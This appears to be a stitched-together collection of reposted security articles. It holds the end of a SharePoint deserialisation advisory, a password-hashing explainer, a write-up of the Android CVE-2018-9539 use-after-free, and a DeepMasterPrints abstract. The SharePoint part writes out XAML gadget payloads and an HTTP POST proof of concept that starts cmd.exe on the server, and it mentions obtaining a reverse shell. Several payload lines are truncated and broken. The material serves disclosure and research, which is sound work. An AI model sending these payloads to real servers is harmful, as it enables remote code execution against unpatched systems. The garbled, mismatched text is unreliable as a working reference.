Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with /nocode /checktypes flags), it showed the following error message when tested in SharePoint:

The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?)

Example 3 – using AssemblyInstaller:

The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
   <sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">

The above payload did not work in SharePoint as it could not find the namespace.


Apply the September 2018 Microsoft patch.

Vendor Communication

17/05/2018 Reported to Microsoft

17/05/2018 Case number assigned by Microsoft

11/09/2018 Patch was released

13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix

02/11/2018 Permission granted from Microsoft to publish the details

Update (11/11/2018)

After releasing the initial potential code execution PoC on SharePoint, Soroush recevied a tip from Alvaro on Twitter to also try ProcessStartInfo and ObjectInstance. This method worked successfully after creating an appropriate XAML and including the required namespaces.

It is therefore now possible to execute code and commands on an unpatched server which increases risk of this issue from high to critical. Note that the .NET Framework needs updating rather than SharePoint in order to patch this issue similar to CVE-2018-8284.

The following HTTP POST request shows a PoC that could execute code on SharePoint:

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: TargetHost
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSuppor
Content-Type: text/xml; charset=utf-8
Content-Length: 1709
Cookie: [valid cookies or authorization header instead - fixed by burp]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" 
<Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib, 
Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Diag="clr-
Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Rd="clr-
Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35" 
Version=, Culture=neutral, 
<ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start">
cessStartInfo FileName="cmd.exe" Arguments="/c ping 

If a path was not accessible, the server returned System.IO.FileNotFoundException, and when access was not sufficient to create, change or validate a workflow, the server responded with the System.NullReferenceException: Object reference not set to an instance of an object error message. Normally authenticated users should be able to create workflows in their spaces. The personal site can normally be found by going to the /my path and that should redirect users to their personal site (if it exists) then the payload can be sent to:




If users have control over any other sites in SharePoint to create workflows, those paths can be used also.

The following GIF video file shows this issue in practice, exploited to obtain a reverse shell where the permissions were sufficient:



Password Hashes — How They Work, How They’re Hacked, and How to Maximize Security

( Original text by Cassandra Corrales )

According to Dashlane, the average user has at least 90 online accounts. We trust these accounts to protect highly sensitive information about our social lives, browsing habits, shopping history, finances and more. The only thing between your information and a malicious attacker is your password. That’s a lot of responsibility for a a few characters of (sometimes) arbitrarily chosen text. So what exactly goes into making passwords secure?

How Password Hashes Work

Most passwords are hashed using a one-way hashing function. Hashing functions take the user’s password and use an algorithm to turn it into a fixed-length of data. The result is like a unique fingerprint, called the digest, that cannot be reversed to find the original input. So, even if someone gets access to the database storing your hash password, there is no key to decrypt it back to its original form.

In general, here’s how hashing systems work when you log in to an account:

  1. You enter your password
  2. A hashing function converts your password into a hash
  3. The generated hash is compared to the hash stored in the database
  4. If the the generated hash and the stored hash match, you’re granted access to the account. If the generated hash doesn’t match, you get a login error.
How hash functions work. The digest will be stored in the database. Image from: https://en.wikipedia.org/wiki/Cryptographic_hash_function

Hacking Hashes

Although hashes aren’t meant to be decrypted, they are by no means breach proof. Here’s a list of some popular companies that have had password breaches in recent years:

Popular companies that have experienced password breaches in recent years.

What techniques do hackers use to hack the allegedly un-hackable? Here are some of the most common ways that password hashes are cracked:

  • Dictionary Attacks
  • Brute Force Attacks
  • Lookup Tables
  • Reverse Lookup Tables

*Note the difference between lookup tables and reverse lookup tables. Lookup tables begin with the precomputed password guess hashes, while reverse lookup tables begin with the table of password hashes from the user accounts database.

  • Rainbow Tables

Rainbow tables are very similar to reverse lookup tables, except rainbow tables use reduction functions to make significantly smaller lookup tables. The result is a trade-off, where rainbow tables are slower, but require less storage space.

How to Maximize Password Security — As a User:

  1. Start with a strong password
  • The longer the password, the better. A lengthy password is less vulnerable to brute force attacks. Sentences are good.
  • Use random words. Less association between the words in your password makes it less vulnerable to dictionary attacks
  • Mix in different characters and numbers. Again, this makes you slightly less vulnerable to dictionary attacks.

2. Change up your password from time to time and from app to app

  • If a password breach happens with one account, that password hash has been cracked and needs to be changed for every account it’s used on.

How to Maximize Password Security — As a Developer:

  1. Stay away from SHA-1 or MD5 hashing functions

SHA-1 and MD5 are outdated and have already been targeted by numerous table attacks. They are fast cryptographic functions and are therefore easier to hack.

Better hashing function options are computationally expensive and therefore more difficult to hack. These are some better hashing algorithms that will minimize password security risks in your application:

  • Argon2 — Winner of the password hashing competition. Uses a lot of memory, so it’s difficult to attack.
  • PBKDF2 — Has no known vulnerabilities after 15 years of extensive use, although it is lower on memory use.
  • scrypt — Very safe, but may have some limitations because it was not designed for password storage.
  • bcrypt — An adaptive hashing function, can be configured to remain slow and therefore resistant to attacks.

2. Always add Salt

A salt is a random string you can add to the password before hashing. This will transform the password into a completely different string and will thus generate a different hash each time.

Resulting outputs when you hash the password “hello” with different salts. Image from: https://crackstation.net/hashing-security.htm#attacks

The “better” hashing algorithms listed above all add salts, but if you need to use another hashing function, don’t forget the salt.



CVE-2018-9539: Use-after-free vulnerability in privileged Android service

( Original text by Tamir Zahavi-Brunner )

As part of our platform research in Zimperium zLabs, I have recently discovered a vulnerability in a privileged Android service called MediaCasService and reported it to Google. Google designated it as CVE-2018-9539 and patched it in the November security update (2018-11-01 patch level).

In this blog post, I will describe the technical details of this use-after-free vulnerability, along with some background information and the details of the proof-of-concept I wrote that triggers it. Link to the full proof-of-concept is available at the end of the blog post.


The Android service called MediaCasService (AKA android.hardware.cas) allows apps to descramble protected media streams. The communication between apps and MediaCasService is performed mostly through two interfaces/objects: Cas, which manages the keys (reference: MediaCas Java API), and Descrambler, which performs the actual descramble operation (reference: MediaDescrambler Java API).

Underneath the MediaCasService API, the actual operations are performed by a plugin, which is a library that the service loads. In our case, the relevant plugin is the ClearKey plugin, whose library is libclearkeycasplugin.so.

In order to descramble data, apps need to use both the Cas object and the Descrambler object. The Descrambler object is used for the actual descramble operation, but in order to do that, it needs to be linked to a session with a key. In order to manage sessions and add keys to them, the Cas object is used.

Internally, the ClearKey plugin manages sessions in the ClearKeySessionLibrary, which is essentially a hash table. The keys are session IDs, while the values are the session objects themselves. Apps receive the session IDs which they can use to refer to the session objects in the service.

After creating a session and attaching a key to it, apps are in charge of linking it to a Descrambler object. The descrambler object has a member called mCASSession, which is a reference to its session object and is used in descramble operations. While there is no obligation to do so, once a Descrambler session is linked with a session object, an app can remove that session from the session library. In that case, the only reference to the session object will be through the Descrambler’s mCASSession.

An important note is that references to session objects are held through strong pointers (sp class). Hence, each session object has a reference count, and once that reference count reaches zero the session object is released. References are either through the session library or through a Descrambler’s mCASSession.

The vulnerability

Let’s take a look at ClearKey’s descramble method:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)


As you can see, the session object referenced by mCASSession is used here in order to decrypt, but its reference count does not increase while it is being used. This means that it is possible for the decrypt function to run with a session object which was released, as its reference count was decreased to zero.

This allows an attacker to cause a use-after-free (the session object will be used after it was freed) through a race condition. Before running descramble, the attacker would remove the reference to the session object from the session library, leaving the Descrambler’s mCASSession as the only reference to the session. Then, the attacker would run descramble at the same time as setting the session of the Descrambler to another session, which can cause a race condition. Setting a different session for the Descrambler would release the original session object (its reference count would drop to zero); if this happens in the middle of mCASSession->decrypt, then decrypt would be using a freed session object.

Proof of concept

Before going into the details of the PoC, there is one note about its effect.

In this PoC, nothing gets allocated instead of the released session object; we just let the decrypt function use a freed object. One of the members of the session object that decrypt uses is a mKeyLock, which is essentially a mutex that decrypt attempts to lock:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)


As you can expect, when a session object is released, the mutex of its mKeyLock is destroyed. Therefore, when the use-after-free is triggered, decrypt attempts to use an already destroyed mutex.

Interestingly, this is where a recent change comes into place. Up until Android 8.1, attempting to use a destroyed mutex would return an error, which in this case would simply be ignored. Since Android 9, attempting to use a destroyed mutex results in an abort, which crashes the process:

Snippet from bionic/libc/bionic/pthread_mutex.cpp (source)


This means that while the PoC should always cause a use-after-free, only Android 9 has a way to detect whether it worked or not. In older versions, there is no noticeable effect. Therefore, the PoC is mainly intended to run on Android 9.

After covering the effect of the PoC, here is a high-level overview of the actions it performs:

  1. Initialize Cas and Descrambler objects.
  2. Use the Cas object in order to create two sessions: session1 and session2. Both of them will be referenced from the session library.
  3. Link session1 to the Descrambler object, and then use the Cas object in order to remove it from the session library. Now, session1 only has a reference from the Descrambler object; its reference count is one.
  4. At the same time:
    • Run multiple threads which perform descramble through the Descrambler object.
    • Set the session of the Descrambler object to session2.
  5. If running descramble in one of the threads did not return, it means that the PoC was successful and the service crashed. If not, retry again from step 2.

Full source code for the PoC is available on GitHub .


  • 08.2018 – Vulnerability discovered
  • 08.2018 – Vulnerability details + PoC sent to Google
  • 11.2018 – Google distributed patches

If you have any questions, you are welcome to DM me on Twitter (@tamir_zb).


DeepMasterPrints: Generating MasterPrints for Dictionary Attacks via Latent Variable Evolution

( Original text by Philip BontragerAditi RoyJulian TogeliusNasir MemonArun Ross )

Recent research has demonstrated the vulnerability of fingerprint recognition systems to dictionary attacks based on MasterPrints. MasterPrints are real or synthetic fingerprints that can fortuitously match with a large number of fingerprints thereby undermining the security afforded by fingerprint systems. Previous work by Roy et al. generated synthetic MasterPrints at the feature-level. In this work we generate complete image-level MasterPrints known as DeepMasterPrints, whose attack accuracy is found to be much superior than that of previous methods. The proposed method, referred to as Latent Variable Evolution, is based on training a Generative Adversarial Network on a set of real fingerprint images. Stochastic search in the form of the Covariance Matrix Adaptation Evolution Strategy is then used to search for latent input variables to the generator network that can maximize the number of impostor matches as assessed by a fingerprint recognizer. Experiments convey the efficacy of the proposed method in generating DeepMasterPrints. The underlying method is likely to have broad applications in fingerprint security as well as fingerprint synthesis.

Download full pdf doc